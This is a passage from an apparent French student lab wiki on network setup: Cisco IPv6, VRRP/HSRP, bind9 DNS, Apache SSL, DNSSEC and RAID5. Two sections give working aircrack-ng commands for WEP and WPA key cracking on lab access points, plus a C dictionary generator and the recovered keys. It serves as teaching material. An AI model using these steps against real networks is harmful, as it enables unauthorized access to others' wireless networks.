Pour confirmer notre résultat, nous regardons la table de routage IPv6:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; cisco#sh ipv6 route&lt;br /&gt;
IPv6 Routing Table - default - 65 entries&lt;br /&gt;
Codes: C - Connected, L - Local, S - Static, U - Per-user Static route&lt;br /&gt;
       B - BGP, R - RIP, I1 - ISIS L1, I2 - ISIS L2&lt;br /&gt;
       IA - ISIS interarea, IS - ISIS summary, D - EIGRP, EX - EIGRP external&lt;br /&gt;
       ND - ND Default, NDp - ND Prefix, DCE - Destination, NDr - Redirect&lt;br /&gt;
       O - OSPF Intra, OI - OSPF Inter, OE1 - OSPF ext 1, OE2 - OSPF ext 2&lt;br /&gt;
       ON1 - OSPF NSSA ext 1, ON2 - OSPF NSSA ext 2, a - Application&lt;br /&gt;
R   ::/0 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:60::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6000::/56 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6002::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6003::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6004::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6005::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6006::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre routeur détecte les routeurs de l'école, notre configuration est donc achevée.&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Configuration VRRP=====&lt;br /&gt;
Le VRRP est un protocole de redondance. Une adresse IP virtuelle (IP flottante) est montée sur 1 des 2 routeurs. Si le routeur sur laquelle est montée l'IP flottante tombe, l'IP est montée sur l'autre routeur. De plus, les machines pourront envoyer les paquets vers l'adresse IP virtuelle, et le VRRP dispatchera les paquets entre les 2 routeurs.&amp;lt;br /&amp;gt;&lt;br /&gt;
Voici la configuration VRRP de notre routeur:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;interface BDI2&lt;br /&gt;
 ip address 10.60.2.1 255.255.255.0&lt;br /&gt;
 ipv6 address 2001:660:4401:60B0::/64 eui-64&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60B0::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 vrrp 1 ip 10.60.2.3&lt;br /&gt;
 vrrp 1 priority 110&amp;lt;/pre&amp;gt;&lt;br /&gt;
10.60.X.1 est l'espace des adresses IP de notre routeur (4331), 10.60.X.2 est l'espace des adresses IP du routeur 3560E, donc 10.60.X.3 est l'espace des adresses IP flottantes, X représente le numéro du BDI.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons voir si notre configuration VRRP est effective : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cisco#sh vrrp&lt;br /&gt;
BDI12 - Group 1  &lt;br /&gt;
  State is Master&lt;br /&gt;
  Virtual IP address is 193.48.57.173&lt;br /&gt;
  Virtual MAC address is 0000.5e00.0101&lt;br /&gt;
  Advertisement interval is 1.000 sec&lt;br /&gt;
  Preemption enabled&lt;br /&gt;
  Priority is 110 &lt;br /&gt;
  Master Router is 193.48.57.171 (local), priority is 110 &lt;br /&gt;
  Master Advertisement interval is 1.000 sec&lt;br /&gt;
  Master Down interval is 3.570 sec&lt;br /&gt;
&lt;br /&gt;
BDI2 - Group 1  &lt;br /&gt;
  State is Master&lt;br /&gt;
  Virtual IP address is 10.60.2.3&lt;br /&gt;
  Virtual MAC address is 0000.5e00.0101&lt;br /&gt;
  Advertisement interval is 1.000 sec&lt;br /&gt;
  Preemption enabled&lt;br /&gt;
  Priority is 110 &lt;br /&gt;
  Master Router is 10.60.2.1 (local), priority is 110 &lt;br /&gt;
  Master Advertisement interval is 1.000 sec&lt;br /&gt;
  Master Down interval is 3.570 sec&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cependant, même si notre configuration VRRP est bonne, nous n'arrivons pas à ping 193.48.57.173, qui représente l'adresse IP virtuelle montée sur le bridge-domain des VM.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Craquage de clé WEP=====&lt;br /&gt;
On bascule d’abord la carte en mode monitor : &lt;br /&gt;
&amp;lt;pre&amp;gt; airmon-ng start xxxxxxxx  &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite on scan tous les réseaux wifi captés par cette même carte :&lt;br /&gt;
&amp;lt;pre&amp;gt; airodump-ng –encrypt wep wlan 0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
On obtient :&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
 CH 13 ][ Elapsed: 4 s ][ 2016-03-08 10:32                                         &lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 44:AD:D9:5F:87:00  -44        2        0    0  11  54e. WEP  WEP         Wolverine                               &lt;br /&gt;
 04:DA:D2:9C:50:53  -66        2        0    0  13  54e. WEP  WEP         cracotte04                              &lt;br /&gt;
 04:DA:D2:9C:50:55  -70        2       91   35  13  54e. WEP  WEP         cracotte06                              &lt;br /&gt;
 04:DA:D2:9C:50:51  -69        4       33   13  13  54e. WEP  WEP         cracotte02                              &lt;br /&gt;
 04:DA:D2:9C:50:57  -67        3       44   19  13  54e. WEP  WEP         cracotte08                              &lt;br /&gt;
 04:DA:D2:9C:50:56  -69        2       38   11  13  54e. WEP  WEP         cracotte07                              &lt;br /&gt;
 04:DA:D2:9C:50:54  -68        2       37   14  13  54e. WEP  WEP         cracotte05                              &lt;br /&gt;
 04:DA:D2:9C:50:58  -70        2      175   70  13  54e. WEP  WEP         cracotte09                              &lt;br /&gt;
 04:DA:D2:9C:50:50  -68        0      142   52  13  -1   WEP  WEP         &amp;lt;length:  0&amp;gt;                            &lt;br /&gt;
 04:DA:D2:9C:50:52  -70        2      171   64  13  54e. WEP  WEP         cracotte03                              &lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                         &lt;br /&gt;
                                                                                                                   &lt;br /&gt;
 04:DA:D2:9C:50:55  00:0F:B5:92:23:6B  -66    0 - 9e  1160       50                                                &lt;br /&gt;
 04:DA:D2:9C:50:51  00:0F:B5:92:24:51  -62    0 -48e    34        7                                                &lt;br /&gt;
 04:DA:D2:9C:50:57  00:0F:B5:92:22:66  -64    0 - 6e    31        6                                                &lt;br /&gt;
 04:DA:D2:9C:50:56  00:0F:B5:92:23:71  -66    0 -48e    60        6                                                &lt;br /&gt;
 04:DA:D2:9C:50:54  00:0F:B5:92:23:74  -70    0 -24e    52       11                                                &lt;br /&gt;
 04:DA:D2:9C:50:58  00:0F:B5:92:23:69  -62    0 -48e    12      140  &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ici nous avons choisi cracotte06 comme wifi cible. On récupère donc son BSSID : 04 :DA :D2 :9C :50 :55 sur le channel 13&amp;lt;br /&amp;gt;&lt;br /&gt;
On surveille uniquement notre cible pour s'assurer qu'une machine s'y connecte bien :&lt;br /&gt;
&amp;lt;pre&amp;gt; airodump-ng –w out –c 13 –bssid 04 :DA :D2 :9C :50 :55 wlan0 &amp;lt;/pre&amp;gt; &amp;lt;br /&amp;gt;&lt;br /&gt;
Pour le craquage, il faut au préalable surchargé de requête ARP le réseau cible pour récupérer un maximum de trame d’échanges.&lt;br /&gt;
&amp;lt;pre&amp;gt; aireplay-ng -3 –e cracotte06 –a 04 :DA :D2 :9C :50 :55 –b 04 :DA :D2 :9C :50 :55 –h 00:0F:B5:92:23:6B –x 1000 –n out-ox.cap wlan0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois un nombre de trame récupéré assez conséquent, on lance l’utilitaire : &amp;lt;pre&amp;gt;aircarck-ng out_ox.cap&amp;lt;/pre&amp;gt; avec out_ox.cap le fichier de sauvegarde contenant toutes les trames ARP récupérées. &lt;br /&gt;
&lt;br /&gt;
On a alors réussi notre craquage au bout de quelque minutes :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  Aircrack-ng 1.2 beta3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                 [00:00:01] Tested 785 keys (got 1349085 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/  2   EE(1862400) 75(1396736) DB(1392128) FF(1388544) 50(1387520) &lt;br /&gt;
    1    1/  4   DD(1419264) 1B(1397504) 2C(1392128) 54(1387776) 26(1385728) &lt;br /&gt;
    2   47/  2   DB(1365760) 38(1364736) 00(1364480) 22(1364480) 82(1364480) &lt;br /&gt;
    3    1/  2   26(1407488) 2C(1390592) 65(1387520) F0(1387520) FE(1387520) &lt;br /&gt;
    4    4/  4   F6(1383168) CD(1382656) 7E(1381376) F0(1380096) 58(1379840) &lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 6e séance (additionnel) ====&lt;br /&gt;
=====Configuration HSRP=====&lt;br /&gt;
Le VRRP n'était pas compatible sur le routeur du groupe 6 (3560E) à cause de la trop faible version de 'IOS Cisco. Du coup, il nous a été demandé de mettre en place le protocole en dessous de VRRP, HSRP.&amp;lt;br /&amp;gt;&lt;br /&gt;
Le protocole HSRP fonctionne comme le VRRP, et s'implémente, par BDI, comme suit:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;Sstandby 1 ip 10.60.X.3&lt;br /&gt;
standby 1 preempt&lt;br /&gt;
standby 1 priority 100&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il fallait aussi que notre routeur soit connecté au 2e commutateur via une liaison fibre en mode trunk. Ainsi, nous pouvons voir, dans ce qui suit, que le routeur maitre est le routeur 3560E, et que nous sommes en standby !&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;BDI2 - Group 1 (version 2)&lt;br /&gt;
  State is Standby&lt;br /&gt;
    7 state changes, last state change 00:01:16&lt;br /&gt;
  Virtual IP address is 10.60.2.3&lt;br /&gt;
  Active virtual MAC address is 0000.0c9f.f001 (MAC Not In Use)&lt;br /&gt;
    Local virtual MAC address is 0000.0c9f.f001 (v2 default)&lt;br /&gt;
  Hello time 3 sec, hold time 10 sec&lt;br /&gt;
    Next hello sent in 0.128 secs&lt;br /&gt;
  Preemption enabled&lt;br /&gt;
  Active router is 10.60.2.2, priority 110 (expires in 8.784 sec)&lt;br /&gt;
    MAC address is d4d7.4842.53c1&lt;br /&gt;
  Standby router is local&lt;br /&gt;
  Priority 100 (default 100)&lt;br /&gt;
  Group name is &amp;quot;Vlan2&amp;quot; (cfgd)&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Craquage clé WPA =====&lt;br /&gt;
&lt;br /&gt;
Pour ce craquage, nous avons gardé la même cible, c'est à dire cracotte06. Il faut encore ici s'assurer qu'une machine est connecté à cette borne.&lt;br /&gt;
Pour le craquage WPA, il nous faut 2 éléments : &amp;lt;br /&amp;gt;&lt;br /&gt;
- Un fichier d'échange contenant le handshake &amp;lt;br /&amp;gt;&lt;br /&gt;
- Un dictionnaire contenant toutes les possibilités de valeur que peut avoir la clé.  &lt;br /&gt;
&lt;br /&gt;
Ici nous avons simplement récupéré le handshake grâce à la commande d'écoute de la borne :&lt;br /&gt;
&amp;lt;pre&amp;gt;  airodump-ng -w out --encrypt wpa -c 13 --04 :DA :D2 :9C :50 :55  wlan0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Grâce à l'option -w out, il nous a créée un fichier stockant le hanshake. &lt;br /&gt;
&lt;br /&gt;
En parallèle nous avons généré le fichier txt jouant le rôle de dictionnaire, à l'aide d'un programme C. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
	FILE *fp=fopen(&amp;quot;dico.txt&amp;quot;,&amp;quot;w+&amp;quot;);&lt;br /&gt;
	int i =0;&lt;br /&gt;
	for(i=0;i&amp;lt;=99999999;i++){&lt;br /&gt;
		fprintf(fp,&amp;quot;%08d\n&amp;quot;,i);&lt;br /&gt;
	}&lt;br /&gt;
	return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finalement on utilise l'utilitaire aircrack avec en paramètre le fichier de sauvegarde contenant le handshake ainsi que le fichier texte dictionnaire :&lt;br /&gt;
&amp;lt;pre&amp;gt;  aircrack-ng -w dico.txt dump-02.cap &amp;lt;/pre&amp;gt;&lt;br /&gt;
On obtient avec succès au bout de quelque minutes : &lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
Aircrack-ng 1.2 beta3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                   [01:01:47] 12399904 keys tested (3519.77 k/s)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 12399907 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : F5 4A 19 53 7C DB 88 D1 D0 21 3B FD FF 5F EF CD &lt;br /&gt;
                       D0 DE 05 F5 0F DB 08 79 85 16 17 8B E0 E4 6B 23 &lt;br /&gt;
&lt;br /&gt;
      Transient Key  : 25 94 12 1B 71 2C 49 01 10 44 34 8A 8A 74 36 47 &lt;br /&gt;
                       7B 1C D8 3D 77 A5 9B 9D 74 44 DC C7 5F 55 D7 0B &lt;br /&gt;
                       2B 29 83 CC FC 08 7E DF BF A6 B7 76 AF BA D5 8A &lt;br /&gt;
                       07 F0 61 B1 02 3A 56 B2 A2 03 CD 80 20 14 3E D8 &lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : CF 04 96 3D DC 43 B4 D1 0E D5 0F B5 78 2F 57 C9 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Configuration DNS=====&lt;br /&gt;
Dans un premier temps, nous réservons sur Gandi notre nom de domaine : speedflash.space&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, nous installons les paquets bind9, ainsi que apache2.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous configurons les fichiers nécessaires à la bonne marche du serveur DNS à savoir les fichiers named.conf.local (autorisation de transfert de paquets vers le DNS esclave - Utilisation du bon fichier de zone), puis db.speedflash.space (fichier de zone)&amp;lt;br /&amp;gt;&lt;br /&gt;
Voici la configuration de ces 2 fichiers :&amp;lt;br /&amp;gt;&lt;br /&gt;
named.conf.local :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;zone &amp;quot;speedflash.space&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.speedflash.space&amp;quot;;&lt;br /&gt;
        allow-transfer {217.70.177.40;};&lt;br /&gt;
};&amp;lt;/pre&amp;gt;&lt;br /&gt;
217.70.177.40 est l'adresse IP du serveur DNS de Gandi (ns6.gandi.net) que nous avons pris pour serveur esclave.&amp;lt;br /&amp;gt;&lt;br /&gt;
db.speedflash.space:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;;&lt;br /&gt;
; BIND data file for local loopback interface&lt;br /&gt;
;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.speedflash.space. root.speedflash.space (&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
        IN      NS      ns.speedflash.space.&lt;br /&gt;
ns      IN      A       193.48.57.165&lt;br /&gt;
www     IN      A       193.48.57.165&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous déclarons que notre DNS (ns) est à l'adresse 193.48.57.165, soit l'IP de notre VM.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, pour faire fonctionner le tout, on relance bind : &amp;lt;pre&amp;gt; service bind9 restart &amp;lt;/pre&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Et à l'aide du fichier de log daemon.log, on peut confirmer que bind s'est lancé sans erreur :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;tail /var/log/daemon.log | grep named&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: command channel listening on ::1#953&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: journal file is out of date: removing journal file&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: loaded serial 3&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone 0.in-addr.arpa/IN: loaded serial 1&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone speedflash.space/IN: loaded serial 2&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone 127.in-addr.arpa/IN: loaded serial 1&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone 255.in-addr.arpa/IN: loaded serial 1&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone localhost/IN: loaded serial 2&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: all zones loaded&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: running&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Securisation de site par SSL=====&lt;br /&gt;
Afin d'obtenir un certificat SSL par Gandi, nous avons besoin d'un CSR. Nous générons donc le CSR par la commande :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;openssl req -nodes -newkey rsa:2048 -sha1 -keyout serveur.key -out serveur.csr&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous fournissons ce CSR à Gandi, puis nous attendons d'avoir notre certificat. Une fois le certificat obtenu, on peut copier les bons fichiers dans SSL :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:/etc/bind# cp certificat.crt /etc/ssl/certs/speedflash.space.crt&lt;br /&gt;
root@Flash:/etc/bind# cp serveur.key /etc/ssl/private/speedflash.space.key&lt;br /&gt;
root@Flash:/etc/bind# cp GandiStandardSSLCA.pem /etc/ssl/certs/GandiStandardSSLCA.pem&amp;lt;/pre&amp;gt;&lt;br /&gt;
GandiStandardSSLCA.pem est un certificat intermédiaire afin de certifier notre certificat.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, nous re-hashons toute la structure afin de prendre en compte notre certificat :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Flash:/etc/bind# c_rehash /etc/ssl/certs&lt;br /&gt;
Doing /etc/ssl/certs&lt;br /&gt;
speedflash.space.crt =&amp;gt; ac112f31.0&lt;br /&gt;
speedflash.space.crt =&amp;gt; a88e5e47.0&lt;br /&gt;
GandiStandardSSLCA.pem =&amp;gt; 0cad7ee9.0&lt;br /&gt;
GandiStandardSSLCA.pem =&amp;gt; 3a57595e.0&lt;br /&gt;
ssl-cert-snakeoil.pem =&amp;gt; 816e77e4.0&lt;br /&gt;
ssl-cert-snakeoil.pem =&amp;gt; de4674a3.0&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut modifier le fichier '''000-speedflash.space-ssl.conf''' afin d'associer APACHE et notre nom de serveur : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;#NameVirtualHost *:443&lt;br /&gt;
        &amp;lt;VirtualHost 193.48.57.165:443&amp;gt;&lt;br /&gt;
                ServerName www.speedflash.space&lt;br /&gt;
                ServerAlias speedflash.space&lt;br /&gt;
                DocumentRoot /var/www/www.speedflash.space/&lt;br /&gt;
                CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
&lt;br /&gt;
                SSLEngine on&lt;br /&gt;
                SSLCertificateFile /etc/ssl/certs/speedflash.space.crt&lt;br /&gt;
                SSLCertificateKeyFile /etc/ssl/private/speedflash.space.key&lt;br /&gt;
                SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA.pem&lt;br /&gt;
                SSLVerifyClient None&lt;br /&gt;
        &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /var/www/www.speedflash.space&amp;gt;&lt;br /&gt;
                Require all granted&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
ServerName &amp;quot;speedflash.space&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut modifier le fichier '''ports.conf''' du serveur Apache pour qu'il écoute le port 443 (SSL):&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;Listen 80 443&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
        Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
#       Listen 443&lt;br /&gt;
#&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#&amp;lt;IfModule mod_ssl.c&amp;gt;&lt;br /&gt;
#       Listen 443&lt;br /&gt;
        #NameVirtualHost *:443&lt;br /&gt;
#&amp;lt;/IfModule&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut activer le module SSL de Apache : &amp;lt;pre&amp;gt; a2enmod ssl&amp;lt;/pre&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons donc activer notre Apache avec notre certificat : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:/etc/bind# a2ensite 000-speedflash.space-ssl.conf &lt;br /&gt;
Enabling site 000-speedflash.space-ssl.&lt;br /&gt;
root@Flash:/etc/bind# service apache2 reload&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous pouvons vérifier que le site est sécurisé en allant sur https://www.speedflash.space et en voyant le cadenas vert.&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:SSLSite.png]]&lt;br /&gt;
&lt;br /&gt;
=====Securisation de DNS par DNSSEC=====&lt;br /&gt;
Il faut générer les clés .key et .private afin de pouvoir signer les zones et les enregistrements.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE speedflash.space &amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE speedflash.space &amp;lt;/pre&amp;gt;&lt;br /&gt;
l'option -r /dev/urandom est ici pour accélérer la génération des clés &amp;lt;br /&amp;gt;&lt;br /&gt;
Nous incluons les clés dans le fichier de zone db.speedflash.space : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;$include /etc/bind/speedflash.space.dnssec/speedflash.space-ksk.key&lt;br /&gt;
$include /etc/bind/speedflash.space.dnssec/speedflash.space-zsk.key&amp;lt;/pre&amp;gt;&lt;br /&gt;
On signe donc la zone : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:/etc/bind/speedflash.space.dnssec# dnssec-signzone -o speedflash.space -k speedflash.space-ksk ../db.speedflash.space speedflash.space-zsk&lt;br /&gt;
Verifying the zone using the following algorithms: RSASHA1.&lt;br /&gt;
Zone fully signed:&lt;br /&gt;
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                    ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
../db.speedflash.space.signed&amp;lt;/pre&amp;gt;&lt;br /&gt;
On ajoute le DNSSEC à Gandi : &amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:Dns-gandi.png]]&amp;lt;br /&amp;gt;&lt;br /&gt;
On vérifie que notre DNS est bien sécurisé en essayant la commande : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:/etc/bind# dig DNSKEY speedflash.space @localhost&lt;br /&gt;
&lt;br /&gt;
; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.9.5-9+deb8u8-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; DNSKEY speedflash.space @localhost&lt;br /&gt;
;; global options: +cmd&lt;br /&gt;
;; Got answer:&lt;br /&gt;
;; -&amp;gt;&amp;gt;HEADER&amp;lt;;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1&lt;br /&gt;
&lt;br /&gt;
;; OPT PSEUDOSECTION:&lt;br /&gt;
; EDNS: version: 0, flags:; udp: 4096&lt;br /&gt;
;; QUESTION SECTION:&lt;br /&gt;
;speedflash.space.        IN    DNSKEY&lt;br /&gt;
&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
speedflash.space.    604800    IN    DNSKEY    257 3 5 AwEAAaJcjim9pdD8U6InsiCNFzJthDwsiwGgPylxRp5nDuoaGrcDp1LU psBv0iY0VUqzcC+uRhTTfjl6P3yuPsnZYefVlSEeRpn9QR33Hioadbhc aFSuYnfwS/L/R6Kwt2XFz5V/fI/j+M2AtGxhBFgVKtmjvnwEr2VfdkFl d9AZJQu09ajWCJIKeL2dRE5bPbXwkDilgkQkBZUVWtXN7qwnrFnlszpb gSdRKosfhScAUmTerxOV6WybzOYb+9D0r8QrDoIhhCpf1/gczAUzHPWd hb0rxIGHk6seMp1qTotZE3SgxrCwm7H6z4pcXeMfbdNzkrIgcJmum9i0 zsLzlghkAPM=&lt;br /&gt;
speedflash.space.    604800    IN    DNSKEY    256 3 5 AwEAAcHrx5vtsGzY7LF32x3HRIXRwOBm3WZM02NHY4s0uB2djn6tV52B ss78iXC4O5hdpJ0uOxS0/MNCYNJkIXnWsvAHc6lbdWfQ8Jvnj/aBMz94 agXbxXkseqjlIcF1huspBAi9lcY5hsy59MDek5iNlduy8HK6AVItqeQi HviShcq3&amp;lt;/pre&amp;gt;&lt;br /&gt;
On remarque bien la présence de DNSKEY qui nous assure que notre DNS est sécurisé.&amp;lt;br /&amp;gt;&lt;br /&gt;
====Travail réalisé la 7e séance====&lt;br /&gt;
=====Création du RAID5=====&lt;br /&gt;
On ajoute premièrement les partitions à la définition de la machine virtuelle:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;'phy:/dev/virtual/RedFlash,xvdb,w',&lt;br /&gt;
'phy:/dev/virtual/BlackFlash,xvdc,w',&lt;br /&gt;
'phy:/dev/virtual/ReverseFlash,xvdd,w'&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, on crée le RAID5 avec les 3 partitions :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdb /dev/xvdc /dev/xvdd&amp;lt;/pre&amp;gt;&lt;br /&gt;
On vérifie en regardant le fichier de log /proc/mdstat : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [=============&amp;gt;.......]  recovery = 66.0% (692512/1047552) finish=0.1min speed=30109K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [===============&amp;gt;.....]  recovery = 78.5% (823084/1047552) finish=0.1min speed=29395K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
